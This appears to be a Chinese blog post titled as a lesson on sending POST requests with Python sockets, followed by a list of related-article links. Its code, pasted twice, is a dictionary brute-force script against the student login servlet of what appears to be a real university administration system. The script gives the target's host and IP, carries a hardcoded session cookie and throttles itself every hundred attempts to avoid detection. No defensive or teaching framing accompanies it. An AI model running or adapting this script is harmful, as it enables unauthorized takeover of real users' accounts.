Python socket实现post请求
2017-10-22 00:11
736 查看
# -*- coding: utf-8 -*-
import socket
import time
strPost = "POST /bgdadmin/servlet/studentLogin HTTP/1.1\r\n" \
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n" \
"Referer: http://yjsgl.bjut.edu.cn/bgdadmin/servlet/studentMain\r\n" \
"Accept-Language: zh-cn\r\n" \
"Content-Type: application/x-www-form-urlencoded\r\n" \
"Accept-Encoding: gzip, deflate\r\n" \
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n" \
"Host: yjsgl.bjut.edu.cn\r\n" \
"Content-Length: 47\r\n" \
"Connection: Keep-Alive\r\n" \
"Cache-Control: no-cache\r\n" \
"Cookie: JSESSIONID=DgxvXnRhLdSn65nfkyXv4wGXr8xQWb4Vmhkq7GfdhRz3LpdwJ4WC!-611812863\r\n\r\n" \
"TYPE=AUTH&glnj=&USER=xxxxxxxxxx&PASSWORD="
i = 0
target_host = '172.21.96.120'
target_port = 80
for password in open('superdic.txt'):
i = i + 1
if i > 100:
time.sleep(30)
i = 0
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((target_host, target_port))
strPacket = strPost + password
client.send(strPacket)
response = client.recv(1024)
time.sleep(0.3)
if response.find('Location') != -1:
print password
break
import socket
import time
strPost = "POST /bgdadmin/servlet/studentLogin HTTP/1.1\r\n" \
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n" \
"Referer: http://yjsgl.bjut.edu.cn/bgdadmin/servlet/studentMain\r\n" \
"Accept-Language: zh-cn\r\n" \
"Content-Type: application/x-www-form-urlencoded\r\n" \
"Accept-Encoding: gzip, deflate\r\n" \
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n" \
"Host: yjsgl.bjut.edu.cn\r\n" \
"Content-Length: 47\r\n" \
"Connection: Keep-Alive\r\n" \
"Cache-Control: no-cache\r\n" \
"Cookie: JSESSIONID=DgxvXnRhLdSn65nfkyXv4wGXr8xQWb4Vmhkq7GfdhRz3LpdwJ4WC!-611812863\r\n\r\n" \
"TYPE=AUTH&glnj=&USER=xxxxxxxxxx&PASSWORD="
i = 0
target_host = '172.21.96.120'
target_port = 80
for password in open('superdic.txt'):
i = i + 1
if i > 100:
time.sleep(30)
i = 0
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((target_host, target_port))
strPacket = strPost + password
client.send(strPacket)
response = client.recv(1024)
time.sleep(0.3)
if response.find('Location') != -1:
print password
break
相关文章推荐
- python实现的json数据以HTTP GET,POST,PUT,DELETE方式页面请求
- python+requests实现接口测试 - get与post请求使用
- Python 使用requests模块发送GET和POST请求的实现代码
- 用Python socket实现一个简单的http服务器(post 与get 的区别)、CGIHTTPServer 简单应用
- python+requests实现接口测试 - get与post请求使用
- Python使用Socket(Https)Post登录百度的实现代码
- (转)Python中实现带Cookie的Http的Post请求
- python实现的json数据以HTTP GET,POST,PUT,DELETE方式页面请求
- 利用python模拟实现POST请求提交图片的方法
- Python使用Socket(Https)Post登录百度的实现代码
- socket编程---实现get post 向http发送请求
- python实现的json数据以HTTP GET,POST,PUT,DELETE方式页面请求
- 用Python socket 实现一个简单的http服务器(post 与get 的区别)、CGI、WSGI、MVC
- Python 使用requests模块发送GET和POST请求的实现代码
- Python实现可设置持续运行时间、线程数及时间间隔的多线程异步post请求功能
- python实现的json数据以HTTP GET,POST,PUT,DELETE方式页面请求
- python实现的json数据以HTTP GET,POST,PUT,DELETE方式页面请求
- python实现的json数据以HTTP GET,POST,PUT,DELETE方式页面请求
- 【python】利用http的POST请求实现自动翻译机
- python urllib2 实现HTTP 的GET POST 请求